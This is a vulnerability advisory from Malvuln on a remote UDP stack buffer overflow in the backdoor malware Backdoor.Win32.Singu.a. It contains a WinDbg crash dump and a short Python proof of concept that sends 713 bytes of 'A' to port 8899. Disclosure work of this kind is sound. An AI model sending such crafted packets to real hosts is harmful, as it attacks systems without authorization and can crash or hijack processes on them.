Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c7aabf5d248c6974b4cea6c070d6d441.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Singu.a
Vulnerability: Remote Stack Buffer Overflow (UDP Datagram)
Description: The malware listens on UDP ports 2211 and 8899. Third-party attackers who can reach an infected host can send a specially crafted UDP packet to port 8899, triggering a classic buffer overflow overwriting ECX and EIP registers.
Type: PE32
MD5: c7aabf5d248c6974b4cea6c070d6d441
Vuln ID: MVID-2021-0221
Dropped files: 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 05/22/2021

Memory Dump:
1334.2330): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1448 ebp=000a1468 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1448 ebp=000a1468 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe

FAULTING_IP: 
Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+3b10
00403b10 8b4af8          mov     ecx,dword ptr [edx-8]

EXCEPTION_RECORD:  0019f7d8 -- (.exr 0x19f7d8)
ExceptionAddress: 00403b10 (Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+0x00003b10)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414139
Attempt to read from address 41414139

PROCESS_NAME:  Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+3b10
00403b10 8b4af8          mov     ecx,dword ptr [edx-8]

FAILED_INSTRUCTION_ADDRESS: 
+3b10
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019f828 -- (.cxr 0x19f828)
eax=0019fce4 ebx=000002c9 ecx=00000000 edx=41414141 esi=0019fd5c edi=04282ed4
eip=00403b10 esp=0019fc88 ebp=0019fcf0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+0x3b10:
00403b10 8b4af8          mov     ecx,dword ptr [edx-8] ds:002b:41414139=????????
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 41414141 to 00403b10

FRAME_ONE_INVALID: 1

STACK_TEXT:  
0019fc88 00403b10 backdoor_win32_singu_a+0x3b10
0019fcf8 41414141 unknown!printable+0x0
0019fcfc 41414141 unknown!printable+0x0
0019fd00 41414141 unknown!printable+0x0
0019fd04 41414141 unknown!printable+0x0
0019fd08 41414141 unknown!printable+0x0
0019fd0c 41414141 unknown!printable+0x0
0019fd10 41414141 unknown!printable+0x0
0019fd14 41414141 unknown!printable+0x0
0019fd18 41414141 unknown!printable+0x0
0019fd1c 41414141 unknown!printable+0x0
0019fd20 41414141 unknown!printable+0x0
0019fd24 41414141 unknown!printable+0x0
0019fd28 41414141 unknown!printable+0x0
0019fd2c 41414141 unknown!printable+0x0
0019fd30 41414141 unknown!printable+0x0
0019fd34 41414141 unknown!printable+0x0
0019fd38 41414141 unknown!printable+0x0
0019fd3c 41414141 unknown!printable+0x0
0019fd40 41414141 unknown!printable+0x0
0019fd44 41414141 unknown!printable+0x0
0019fd48 41414141 unknown!printable+0x0
0019fd4c 41414141 unknown!printable+0x0
0019fd50 41414141 unknown!printable+0x0
0019fd54 41414141 unknown!printable+0x0
0019fd58 41414141 unknown!printable+0x0
0019fd5c 41414141 unknown!printable+0x0
0019fd60 41414141 unknown!printable+0x0
0019fd64 41414141 unknown!printable+0x0
0019fd68 41414141 unknown!printable+0x0
0019fd6c 41414141 unknown!printable+0x0
0019fd70 41414141 unknown!printable+0x0
0019fd74 41414141 unknown!printable+0x0
0019fd78 41414141 unknown!printable+0x0
0019fd7c 41414141 unknown!printable+0x0
0019fd80 41414141 unknown!printable+0x0
0019fd84 41414141 unknown!printable+0x0
0019fd88 41414141 unknown!printable+0x0
0019fd8c 41414141 unknown!printable+0x0
0019fd90 41414141 unknown!printable+0x0
0019fd94 41414141 unknown!printable+0x0
0019fd98 41414141 unknown!printable+0x0
0019fd9c 41414141 unknown!printable+0x0
0019fda0 41414141 unknown!printable+0x0
0019fda4 41414141 unknown!printable+0x0
0019fda8 41414141 unknown!printable+0x0
0019fdac 41414141 unknown!printable+0x0
0019fdb0 41414141 unknown!printable+0x0
0019fdb4 41414141 unknown!printable+0x0
0019fdb8 41414141 unknown!printable+0x0
0019fdbc 41414141 unknown!printable+0x0
0019fdc0 41414141 unknown!printable+0x0
0019fdc4 41414141 unknown!printable+0x0
0019fdc8 41414141 unknown!printable+0x0
0019fdcc 41414141 unknown!printable+0x0
0019fdd0 41414141 unknown!printable+0x0
0019fdd4 41414141 unknown!printable+0x0
0019fdd8 41414141 unknown!printable+0x0
0019fddc 41414141 unknown!printable+0x0
0019fde0 41414141 unknown!printable+0x0
0019fde4 41414141 unknown!printable+0x0
0019fde8 41414141 unknown!printable+0x0
0019fdec 41414141 unknown!printable+0x0
0019fdf0 41414141 unknown!printable+0x0
0019fdf4 41414141 unknown!printable+0x0
0019fdf8 41414141 unknown!printable+0x0
0019fdfc 41414141 unknown!printable+0x0
0019fe00 41414141 unknown!printable+0x0
0019fe04 41414141 unknown!printable+0x0
0019fe08 41414141 unknown!printable+0x0
0019fe0c 41414141 unknown!printable+0x0
0019fe10 41414141 unknown!printable+0x0
0019fe14 41414141 unknown!printable+0x0
0019fe18 41414141 unknown!printable+0x0
0019fe1c 41414141 unknown!printable+0x0
0019fe20 41414141 unknown!printable+0x0
0019fe24 41414141 unknown!printable+0x0
0019fe28 41414141 unknown!printable+0x0
0019fe2c 41414141 unknown!printable+0x0
0019fe30 41414141 unknown!printable+0x0
0019fe34 41414141 unknown!printable+0x0
0019fe38 41414141 unknown!printable+0x0
0019fe3c 41414141 unknown!printable+0x0
0019fe40 41414141 unknown!printable+0x0
0019fe44 41414141 unknown!printable+0x0
0019fe48 41414141 unknown!printable+0x0
0019fe4c 41414141 unknown!printable+0x0
0019fe50 41414141 unknown!printable+0x0
0019fe54 41414141 unknown!printable+0x0
0019fe58 41414141 unknown!printable+0x0
0019fe5c 41414141 unknown!printable+0x0
0019fe60 41414141 unknown!printable+0x0
0019fe64 41414141 unknown!printable+0x0
0019fe68 41414141 unknown!printable+0x0
0019fe6c 41414141 unknown!printable+0x0
0019fe70 41414141 unknown!printable+0x0
0019fe74 41414141 unknown!printable+0x0
0019fe78 41414141 unknown!printable+0x0
0019fe7c 41414141 unknown!printable+0x0
0019fe80 41414141 unknown!printable+0x0
0019fe84 41414141 unknown!printable+0x0
0019fe88 41414141 unknown!printable+0x0
0019fe8c 41414141 unknown!printable+0x0
0019fe90 41414141 unknown!printable+0x0
0019fe94 41414141 unknown!printable+0x0
0019fe98 41414141 unknown!printable+0x0
0019fe9c 41414141 unknown!printable+0x0
0019ff9c 77ae4a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 77ae4a47 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 000000000019F828 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fc88 ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  backdoor_win32_singu_a+3b10

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441

IMAGE_NAME:  Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_singu_a+3b10

FAILURE_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe!Unknown


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=8899

def doit():

    s=socket(AF_INET, SOCK_DGRAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="A"*713
    s.send(PAYLOAD)
    s.close()

    print("Backdoor.Win32.Singu.a / Remote Stack Buffer Overflow (UDP Datagram)")
    print("MD5: c7aabf5d248c6974b4cea6c070d6d441")
    print("Malvuln")

if __name__=="__main__":
    doit()


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